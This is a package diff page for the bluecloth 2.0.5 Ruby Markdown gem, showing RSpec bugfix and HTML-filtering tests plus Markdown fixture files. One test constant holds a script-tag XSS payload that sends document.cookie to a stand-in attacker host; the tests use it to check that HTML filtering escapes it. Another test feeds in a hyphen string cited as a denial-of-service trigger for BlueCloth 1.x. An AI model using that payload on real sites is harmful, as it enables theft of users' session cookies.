bluecloth 2.0.5-x86-mingw32

Sign up to get free protection for your applications and to get access to all the features.
Files changed (109) hide show
  1. data/ChangeLog +784 -0
  2. data/LICENSE +27 -0
  3. data/LICENSE.discount +47 -0
  4. data/README +81 -0
  5. data/Rakefile +346 -0
  6. data/Rakefile.local +63 -0
  7. data/bin/bluecloth +84 -0
  8. data/ext/Csio.c +61 -0
  9. data/ext/VERSION +1 -0
  10. data/ext/amalloc.h +29 -0
  11. data/ext/bluecloth.c +377 -0
  12. data/ext/config.h +51 -0
  13. data/ext/css.c +76 -0
  14. data/ext/cstring.h +74 -0
  15. data/ext/docheader.c +43 -0
  16. data/ext/extconf.rb +48 -0
  17. data/ext/generate.c +1481 -0
  18. data/ext/markdown.c +970 -0
  19. data/ext/markdown.h +145 -0
  20. data/ext/mkdio.c +303 -0
  21. data/ext/mkdio.h +78 -0
  22. data/ext/resource.c +155 -0
  23. data/ext/version.c +28 -0
  24. data/ext/xml.c +82 -0
  25. data/ext/xmlpage.c +48 -0
  26. data/lib/bluecloth.rb +161 -0
  27. data/rake/191_compat.rb +26 -0
  28. data/rake/dependencies.rb +76 -0
  29. data/rake/helpers.rb +412 -0
  30. data/rake/hg.rb +214 -0
  31. data/rake/manual.rb +782 -0
  32. data/rake/packaging.rb +135 -0
  33. data/rake/publishing.rb +321 -0
  34. data/rake/rdoc.rb +30 -0
  35. data/rake/style.rb +62 -0
  36. data/rake/svn.rb +668 -0
  37. data/rake/testing.rb +187 -0
  38. data/rake/verifytask.rb +64 -0
  39. data/rake/win32.rb +190 -0
  40. data/spec/bluecloth/101_changes_spec.rb +141 -0
  41. data/spec/bluecloth/autolinks_spec.rb +49 -0
  42. data/spec/bluecloth/blockquotes_spec.rb +143 -0
  43. data/spec/bluecloth/code_spans_spec.rb +164 -0
  44. data/spec/bluecloth/emphasis_spec.rb +164 -0
  45. data/spec/bluecloth/entities_spec.rb +65 -0
  46. data/spec/bluecloth/hrules_spec.rb +90 -0
  47. data/spec/bluecloth/images_spec.rb +92 -0
  48. data/spec/bluecloth/inline_html_spec.rb +238 -0
  49. data/spec/bluecloth/links_spec.rb +171 -0
  50. data/spec/bluecloth/lists_spec.rb +294 -0
  51. data/spec/bluecloth/paragraphs_spec.rb +75 -0
  52. data/spec/bluecloth/titles_spec.rb +305 -0
  53. data/spec/bluecloth_spec.rb +250 -0
  54. data/spec/bugfix_spec.rb +136 -0
  55. data/spec/contributions_spec.rb +85 -0
  56. data/spec/data/antsugar.txt +34 -0
  57. data/spec/data/markdowntest/Amps and angle encoding.html +17 -0
  58. data/spec/data/markdowntest/Amps and angle encoding.text +21 -0
  59. data/spec/data/markdowntest/Auto links.html +18 -0
  60. data/spec/data/markdowntest/Auto links.text +13 -0
  61. data/spec/data/markdowntest/Backslash escapes.html +118 -0
  62. data/spec/data/markdowntest/Backslash escapes.text +120 -0
  63. data/spec/data/markdowntest/Blockquotes with code blocks.html +15 -0
  64. data/spec/data/markdowntest/Blockquotes with code blocks.text +11 -0
  65. data/spec/data/markdowntest/Code Blocks.html +18 -0
  66. data/spec/data/markdowntest/Code Blocks.text +14 -0
  67. data/spec/data/markdowntest/Code Spans.html +5 -0
  68. data/spec/data/markdowntest/Code Spans.text +5 -0
  69. data/spec/data/markdowntest/Hard-wrapped paragraphs with list-like lines.html +8 -0
  70. data/spec/data/markdowntest/Hard-wrapped paragraphs with list-like lines.text +8 -0
  71. data/spec/data/markdowntest/Horizontal rules.html +71 -0
  72. data/spec/data/markdowntest/Horizontal rules.text +67 -0
  73. data/spec/data/markdowntest/Inline HTML (Advanced).html +15 -0
  74. data/spec/data/markdowntest/Inline HTML (Advanced).text +15 -0
  75. data/spec/data/markdowntest/Inline HTML (Simple).html +72 -0
  76. data/spec/data/markdowntest/Inline HTML (Simple).text +69 -0
  77. data/spec/data/markdowntest/Inline HTML comments.html +13 -0
  78. data/spec/data/markdowntest/Inline HTML comments.text +13 -0
  79. data/spec/data/markdowntest/Links, inline style.html +11 -0
  80. data/spec/data/markdowntest/Links, inline style.text +12 -0
  81. data/spec/data/markdowntest/Links, reference style.html +52 -0
  82. data/spec/data/markdowntest/Links, reference style.text +71 -0
  83. data/spec/data/markdowntest/Links, shortcut references.html +9 -0
  84. data/spec/data/markdowntest/Links, shortcut references.text +20 -0
  85. data/spec/data/markdowntest/Literal quotes in titles.html +3 -0
  86. data/spec/data/markdowntest/Literal quotes in titles.text +7 -0
  87. data/spec/data/markdowntest/Markdown Documentation - Basics.html +314 -0
  88. data/spec/data/markdowntest/Markdown Documentation - Basics.text +306 -0
  89. data/spec/data/markdowntest/Markdown Documentation - Syntax.html +942 -0
  90. data/spec/data/markdowntest/Markdown Documentation - Syntax.text +888 -0
  91. data/spec/data/markdowntest/Nested blockquotes.html +9 -0
  92. data/spec/data/markdowntest/Nested blockquotes.text +5 -0
  93. data/spec/data/markdowntest/Ordered and unordered lists.html +148 -0
  94. data/spec/data/markdowntest/Ordered and unordered lists.text +131 -0
  95. data/spec/data/markdowntest/Strong and em together.html +7 -0
  96. data/spec/data/markdowntest/Strong and em together.text +7 -0
  97. data/spec/data/markdowntest/Tabs.html +25 -0
  98. data/spec/data/markdowntest/Tabs.text +21 -0
  99. data/spec/data/markdowntest/Tidyness.html +8 -0
  100. data/spec/data/markdowntest/Tidyness.text +5 -0
  101. data/spec/data/ml-announce.txt +17 -0
  102. data/spec/data/re-overflow.txt +67 -0
  103. data/spec/data/re-overflow2.txt +281 -0
  104. data/spec/discount_spec.rb +67 -0
  105. data/spec/lib/constants.rb +5 -0
  106. data/spec/lib/helpers.rb +137 -0
  107. data/spec/lib/matchers.rb +235 -0
  108. data/spec/markdowntest_spec.rb +79 -0
  109. metadata +329 -0
@@ -0,0 +1,136 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ BEGIN {
4
+ require 'pathname'
5
+ basedir = Pathname.new( __FILE__ ).dirname.parent
6
+
7
+ libdir = basedir + 'lib'
8
+ extdir = basedir + 'ext'
9
+
10
+ $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir )
11
+ $LOAD_PATH.unshift( extdir ) unless $LOAD_PATH.include?( extdir )
12
+ }
13
+
14
+ require 'rubygems'
15
+ require 'spec'
16
+ require 'bluecloth'
17
+
18
+ require 'spec/lib/helpers'
19
+ require 'spec/lib/constants'
20
+ require 'spec/lib/matchers'
21
+
22
+
23
+ #####################################################################
24
+ ### C O N T E X T S
25
+ #####################################################################
26
+
27
+ describe BlueCloth, "bugfixes" do
28
+ include BlueCloth::TestConstants,
29
+ BlueCloth::Matchers
30
+
31
+ before( :all ) do
32
+ @basedir = Pathname.new( __FILE__ ).dirname.parent
33
+ @datadir = @basedir + 'spec/data'
34
+ end
35
+
36
+
37
+
38
+ ### Test to be sure the README file can be transformed.
39
+ it "can transform the included README file" do
40
+ readme = @basedir + 'README'
41
+ contents = readme.read
42
+
43
+ bcobj = BlueCloth::new( contents )
44
+
45
+ lambda do
46
+ timeout( 2 ) { bcobj.to_html }
47
+ end.should_not raise_error()
48
+ end
49
+
50
+
51
+ it "provides a workaround for the regexp-engine overflow bug" do
52
+ datafile = @datadir + 're-overflow.txt'
53
+ markdown = datafile.read
54
+
55
+ lambda { BlueCloth.new(markdown).to_html }.should_not raise_error()
56
+ end
57
+
58
+
59
+ it "provides a workaround for the second regexp-engine overflow bug" do
60
+ datafile = @datadir + 're-overflow2.txt'
61
+ markdown = datafile.read
62
+
63
+ lambda { BlueCloth.new(markdown).to_html }.should_not raise_error()
64
+ end
65
+
66
+
67
+ it "correctly wraps <strong> tags around two characters enclosed in four asterisks" do
68
+ the_markdown( "**aa**" ).should be_transformed_into( "<p><strong>aa</strong></p>" )
69
+ end
70
+
71
+
72
+ it "correctly wraps <strong> tags around a single character enclosed in four asterisks" do
73
+ the_markdown( "**a**" ).should be_transformed_into( "<p><strong>a</strong></p>" )
74
+ end
75
+
76
+
77
+ it "correctly wraps <strong> tags around two characters enclosed in four underscores" do
78
+ the_markdown( "__aa__" ).should be_transformed_into( "<p><strong>aa</strong></p>" )
79
+ end
80
+
81
+
82
+ it "correctly wraps <strong> tags around a single character enclosed in four underscores" do
83
+ the_markdown( "__a__" ).should be_transformed_into( "<p><strong>a</strong></p>" )
84
+ end
85
+
86
+
87
+ it "correctly wraps <em> tags around two characters enclosed in two asterisks" do
88
+ the_markdown( "*aa*" ).should be_transformed_into( "<p><em>aa</em></p>" )
89
+ end
90
+
91
+
92
+ it "correctly wraps <em> tags around a single character enclosed in two asterisks" do
93
+ the_markdown( "*a*" ).should be_transformed_into( "<p><em>a</em></p>" )
94
+ end
95
+
96
+
97
+ it "correctly wraps <em> tags around two characters enclosed in four underscores" do
98
+ the_markdown( "_aa_" ).should be_transformed_into( "<p><em>aa</em></p>" )
99
+ end
100
+
101
+
102
+ it "correctly wraps <em> tags around a single character enclosed in four underscores" do
103
+ the_markdown( "_a_" ).should be_transformed_into( "<p><em>a</em></p>" )
104
+ end
105
+
106
+
107
+ it "doesn't raise an error when run with $VERBOSE = true" do
108
+ oldverbose = $VERBOSE
109
+
110
+ lambda do
111
+ $VERBOSE = true
112
+ BlueCloth.new( "*woo*" ).to_html
113
+ end.should_not raise_error()
114
+
115
+ $VERBOSE = oldverbose
116
+ end
117
+
118
+
119
+ it "doesn't hang when presented with a series of hyphens (rails-security DoS/#57)" do
120
+ the_indented_markdown( <<-"END_MARKDOWN" ).should be_transformed_into(<<-"END_HTML").without_indentation
121
+ This line of markdown below will hang you if you're running BlueCloth 1.x.
122
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
123
+
124
+ END_MARKDOWN
125
+ <p>This line of markdown below will hang you if you're running BlueCloth 1.x.</p>
126
+
127
+ <hr />
128
+ END_HTML
129
+ end
130
+
131
+
132
+ end
133
+
134
+
135
+ __END__
136
+
@@ -0,0 +1,85 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ BEGIN {
4
+ require 'pathname'
5
+ basedir = Pathname.new( __FILE__ ).dirname.parent
6
+
7
+ libdir = basedir + 'lib'
8
+ extdir = basedir + 'ext'
9
+
10
+ $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir )
11
+ $LOAD_PATH.unshift( extdir ) unless $LOAD_PATH.include?( extdir )
12
+ }
13
+
14
+ require 'rubygems'
15
+ require 'spec'
16
+ require 'bluecloth'
17
+
18
+ require 'spec/lib/helpers'
19
+ require 'spec/lib/constants'
20
+ require 'spec/lib/matchers'
21
+
22
+
23
+ #####################################################################
24
+ ### C O N T E X T S
25
+ #####################################################################
26
+
27
+ describe BlueCloth, "contributed features: " do
28
+ include BlueCloth::TestConstants,
29
+ BlueCloth::Matchers
30
+
31
+ ### HTML filter options contributed by Florian Gross.
32
+ describe "Florian Gross's HTML filtering (backward-compatibility)" do
33
+
34
+ DANGEROUS_HTML =
35
+ "<script>document.location='http://www.hacktehplanet.com" +
36
+ "/cgi-bin/cookie.cgi?' + document.cookie</script>"
37
+ DANGEROUS_HTML_OUTPUT =
38
+ "<p>&lt;script>document.location='http://www.hacktehplanet.com" +
39
+ "/cgi-bin/cookie.cgi?' + document.cookie&lt;/script></p>"
40
+
41
+ NO_LESS_THAN_TEXT = "Foo is definitely > than bar"
42
+ NO_LESS_THAN_OUTPUT = "<p>Foo is definitely > than bar</p>"
43
+
44
+
45
+ ### Test the :filter_html restriction
46
+ it "can be configured with html filtering when created" do
47
+ bc = BlueCloth.new( 'foo', :filter_html )
48
+ bc.filter_html.should be_true()
49
+ end
50
+
51
+
52
+ it "can be configured with html filtering (via an Array of options) when created" do
53
+ bc = BlueCloth.new( 'foo', [:filter_html] )
54
+ bc.filter_html.should be_true()
55
+ end
56
+
57
+
58
+ it "raises an appropriate error when #filter_html= is called" do
59
+ lambda {
60
+ BlueCloth.new( 'foo' ).filter_html = true
61
+ }.should raise_error( NotImplementedError, /sorry/i )
62
+ end
63
+
64
+
65
+ it "can escape any existing HTML in the input if configured to do so" do
66
+ the_markdown( DANGEROUS_HTML, :filter_html ).
67
+ should be_transformed_into( DANGEROUS_HTML_OUTPUT )
68
+ end
69
+
70
+
71
+ it "doesn't raise an exception when filtering source with a lone closing angle bracket" do
72
+ the_markdown( NO_LESS_THAN_TEXT, :filter_html ).
73
+ should be_transformed_into( NO_LESS_THAN_OUTPUT )
74
+ end
75
+
76
+
77
+ it "ignores a :filter_styles argument for RedCloth compatibility" do
78
+ lambda {
79
+ BlueCloth.new( '', :filter_styles )
80
+ }.should_not raise_error()
81
+ end
82
+ end
83
+
84
+ end
85
+
@@ -0,0 +1,34 @@
1
+ The Ant-Sugar Tales
2
+ ===================
3
+
4
+ By Candice Yellowflower
5
+
6
+ The _Ant-Sugar Tales_ is a collection of short stories told from the
7
+ perspective of a fine young lady from [Venice][1], who has some run-ins
8
+ with a few [inquisitive insects][2]. Each tale presents a moral quandry,
9
+ which the ants are quick to solve with their antly wisdom and
10
+ know-how. Some of the moral lessons presented are:
11
+
12
+ * Laundry: How not to get caught in soiled knickers.
13
+ * Used Ticket Stubs and Their Impact on the Universe
14
+ * I'm Keeping a Birdhouse in my Attic
15
+
16
+ Use of Metaphor
17
+ ---------------
18
+
19
+ The author's splended use of metaphor can be attributed to her growing
20
+ up in a art-supply store. Her characters are richly outlined, but her
21
+ unusual descriptions can sometimes be a bit jarring in places, such as
22
+ her description of the old caretaker that lives inside a hollow tree in
23
+ her yard:
24
+
25
+ > His skin was smooth like Magnani Pescia 100% acid-free cold pressed
26
+ > 22x30" Soft White Paper, with fine hair like the bristles of a Habico
27
+ > Lasur Superb Oil Glazing Brush Size 10.
28
+
29
+
30
+ [1]: http://www.azureva.com/gb/italie/mags/grand-canal.php3
31
+ (Venice: The Grand Canal)
32
+ [2]: http://www.fortunecity.com/emachines/e11/86/tourist4d.html
33
+
34
+
@@ -0,0 +1,17 @@
1
+ <p>AT&amp;T has an ampersand in their name.</p>
2
+
3
+ <p>AT&amp;T is another way to write it.</p>
4
+
5
+ <p>This &amp; that.</p>
6
+
7
+ <p>4 &lt; 5.</p>
8
+
9
+ <p>6 > 5.</p>
10
+
11
+ <p>Here's a <a href="http://example.com/?foo=1&amp;bar=2">link</a> with an ampersand in the URL.</p>
12
+
13
+ <p>Here's a link with an amersand in the link text: <a href="http://att.com/" title="AT&amp;T">AT&amp;T</a>.</p>
14
+
15
+ <p>Here's an inline <a href="/script?foo=1&amp;bar=2">link</a>.</p>
16
+
17
+ <p>Here's an inline <a href="/script?foo=1&amp;bar=2">link</a>.</p>
@@ -0,0 +1,21 @@
1
+ AT&T has an ampersand in their name.
2
+
3
+ AT&amp;T is another way to write it.
4
+
5
+ This & that.
6
+
7
+ 4 < 5.
8
+
9
+ 6 > 5.
10
+
11
+ Here's a [link] [1] with an ampersand in the URL.
12
+
13
+ Here's a link with an amersand in the link text: [AT&T] [2].
14
+
15
+ Here's an inline [link](/script?foo=1&bar=2).
16
+
17
+ Here's an inline [link](</script?foo=1&bar=2>).
18
+
19
+
20
+ [1]: http://example.com/?foo=1&bar=2
21
+ [2]: http://att.com/ "AT&T"
@@ -0,0 +1,18 @@
1
+ <p>Link: <a href="http://example.com/">http://example.com/</a>.</p>
2
+
3
+ <p>With an ampersand: <a href="http://example.com/?foo=1&amp;bar=2">http://example.com/?foo=1&amp;bar=2</a></p>
4
+
5
+ <ul>
6
+ <li>In a list?</li>
7
+ <li><a href="http://example.com/">http://example.com/</a></li>
8
+ <li>It should.</li>
9
+ </ul>
10
+
11
+ <blockquote>
12
+ <p>Blockquoted: <a href="http://example.com/">http://example.com/</a></p>
13
+ </blockquote>
14
+
15
+ <p>Auto-links should not occur here: <code>&lt;http://example.com/&gt;</code></p>
16
+
17
+ <pre><code>or here: &lt;http://example.com/&gt;
18
+ </code></pre>
@@ -0,0 +1,13 @@
1
+ Link: <http://example.com/>.
2
+
3
+ With an ampersand: <http://example.com/?foo=1&bar=2>
4
+
5
+ * In a list?
6
+ * <http://example.com/>
7
+ * It should.
8
+
9
+ > Blockquoted: <http://example.com/>
10
+
11
+ Auto-links should not occur here: `<http://example.com/>`
12
+
13
+ or here: <http://example.com/>
@@ -0,0 +1,118 @@
1
+ <p>These should all get escaped:</p>
2
+
3
+ <p>Backslash: \</p>
4
+
5
+ <p>Backtick: `</p>
6
+
7
+ <p>Asterisk: *</p>
8
+
9
+ <p>Underscore: _</p>
10
+
11
+ <p>Left brace: {</p>
12
+
13
+ <p>Right brace: }</p>
14
+
15
+ <p>Left bracket: [</p>
16
+
17
+ <p>Right bracket: ]</p>
18
+
19
+ <p>Left paren: (</p>
20
+
21
+ <p>Right paren: )</p>
22
+
23
+ <p>Greater-than: ></p>
24
+
25
+ <p>Hash: #</p>
26
+
27
+ <p>Period: .</p>
28
+
29
+ <p>Bang: !</p>
30
+
31
+ <p>Plus: +</p>
32
+
33
+ <p>Minus: -</p>
34
+
35
+ <p>These should not, because they occur within a code block:</p>
36
+
37
+ <pre><code>Backslash: \\
38
+
39
+ Backtick: \`
40
+
41
+ Asterisk: \*
42
+
43
+ Underscore: \_
44
+
45
+ Left brace: \{
46
+
47
+ Right brace: \}
48
+
49
+ Left bracket: \[
50
+
51
+ Right bracket: \]
52
+
53
+ Left paren: \(
54
+
55
+ Right paren: \)
56
+
57
+ Greater-than: \&gt;
58
+
59
+ Hash: \#
60
+
61
+ Period: \.
62
+
63
+ Bang: \!
64
+
65
+ Plus: \+
66
+
67
+ Minus: \-
68
+ </code></pre>
69
+
70
+ <p>Nor should these, which occur in code spans:</p>
71
+
72
+ <p>Backslash: <code>\\</code></p>
73
+
74
+ <p>Backtick: <code>\`</code></p>
75
+
76
+ <p>Asterisk: <code>\*</code></p>
77
+
78
+ <p>Underscore: <code>\_</code></p>
79
+
80
+ <p>Left brace: <code>\{</code></p>
81
+
82
+ <p>Right brace: <code>\}</code></p>
83
+
84
+ <p>Left bracket: <code>\[</code></p>
85
+
86
+ <p>Right bracket: <code>\]</code></p>
87
+
88
+ <p>Left paren: <code>\(</code></p>
89
+
90
+ <p>Right paren: <code>\)</code></p>
91
+
92
+ <p>Greater-than: <code>\&gt;</code></p>
93
+
94
+ <p>Hash: <code>\#</code></p>
95
+
96
+ <p>Period: <code>\.</code></p>
97
+
98
+ <p>Bang: <code>\!</code></p>
99
+
100
+ <p>Plus: <code>\+</code></p>
101
+
102
+ <p>Minus: <code>\-</code></p>
103
+
104
+
105
+ <p>These should get escaped, even though they're matching pairs for
106
+ other Markdown constructs:</p>
107
+
108
+ <p>*asterisks*</p>
109
+
110
+ <p>_underscores_</p>
111
+
112
+ <p>`backticks`</p>
113
+
114
+ <p>This is a code span with a literal backslash-backtick sequence: <code>\`</code></p>
115
+
116
+ <p>This is a tag with unescaped backticks <span attr='`ticks`'>bar</span>.</p>
117
+
118
+ <p>This is a tag with backslashes <span attr='\\backslashes\\'>bar</span>.</p>